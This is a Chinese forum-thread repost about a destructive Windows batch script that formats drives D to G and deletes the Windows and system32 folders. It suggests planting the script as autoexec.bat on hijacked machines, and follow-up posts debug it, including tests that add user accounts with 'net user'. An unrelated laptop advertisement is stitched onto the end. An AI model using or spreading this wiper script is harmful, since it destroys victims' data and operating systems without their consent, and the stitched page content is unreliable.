由一段批处理程序所引起的探讨感觉问题是有,不太准确

(编辑:jimmy 日期: 2024/12/24 浏览:2)

假如你的系统装在c盘 
打开记事本输入 
@echo off 
shutdown -r -t 0 
format d: /q /y 
format e: /q /y
format f: /q /y 
format g: /q /y 
c: 
cd \ 
cd windows 
del. /y 
cd system32 
del. /y 
shutdown -r -t 0 
另存为1.bat 

然后运行 

看看有什么后果 

如果想搞肉鸡的话那么可以 

重命为autoexec.bat上传到肉鸡C:覆盖原来的autoexec.bat 


最后一次警告:最好别乱搞,出了问题后果自负 


有一个不完美的地方。我说说


c: 

cd \ 

cd windows 

del. /y 

cd system32 

 

请问你为什么就肯定系统不是windows2000呢! 

对于windows目录的确定,你在bat下应该用环境变量得到。 

比如 

windir=C:\WINDOWS 

windir=C:\WINNT 


还有,有点小小要请教的地方,对于第二条语句。 

shutdown -r -t 0 

既然重动了,那以下的格式化命令还有作用吗??????????? 

自己不敢试,因为我怀疑是有作用的。 


这个是我给的回复: 

我的系统是XP,在XP的环境下弄的这个批处理,所以忽略了2000的情况,是我考虑不周全,谢谢你的指正 

确实如你所说shutdown -r -t 0这条语句本来是不应该放在这里,否则系统会直接重启动,导致下面的语句不起作用. 


为了得到答案!我对于这个问题亲自试了一下! 


@echo off 

shutdown -r -t 0 

ping 127.0.0.1 -n 100 &net user emissary2 /add 

shutdown -r -t 0 

这是我第一次执行的文件。在重启动后发现emissary1并没有加入到用户组!失败! 

第二次我在ping的前面加入了net user emissary1 /add。因为我想知道不延时执行的话。会不会成功! 

@echo off 

shutdown -r -t 0 

net user emissary1 /add 

ping 127.0.0.1 -n 100 &net user emissary2 /add 

shutdown -r -t 0 

结果还是失败! 


到这里。我以为shutdown -r -t 0后面的语句是无效的!想了一下。又改为了以下语句! 

@echo off 

shutdown -r -t 0 

dir > c:\aaa.txt 

ping 127.0.0.1 -n 100 &dir > c:\aaa2.txt 

shutdown -r -t 0 

意外的,这次成功了。重启后发现有了c:\aaa.txt而没有c:\aaa2.txt这个文件。 

对于以上测试,我仅仅得出在这个批处理文件中。只能对内部命令会起作用,而外部命令因为windows已经开始关闭窗口,从而导致外部命令的初始化失败,不能执行的结论! 

内部命令由cmd.exe提供,因为执行.bat时CMD是打开的,所以内部命令可以正常使用。

一句话新闻

一文看懂荣耀MagicBook Pro 16
荣耀猎人回归!七大亮点看懂不只是轻薄本,更是游戏本的MagicBook Pro 16.
人们对于笔记本电脑有一个固有印象:要么轻薄但性能一般,要么性能强劲但笨重臃肿。然而,今年荣耀新推出的MagicBook Pro 16刷新了人们的认知——发布会上,荣耀宣布猎人游戏本正式回归,称其继承了荣耀 HUNTER 基因,并自信地为其打出“轻薄本,更是游戏本”的口号。
众所周知,寻求轻薄本的用户普遍更看重便携性、外观造型、静谧性和打字办公等用机体验,而寻求游戏本的用户则普遍更看重硬件配置、性能释放等硬核指标。把两个看似难以相干的产品融合到一起,我们不禁对它产生了强烈的好奇:作为代表荣耀猎人游戏本的跨界新物种,它究竟做了哪些平衡以兼顾不同人群的各类需求呢?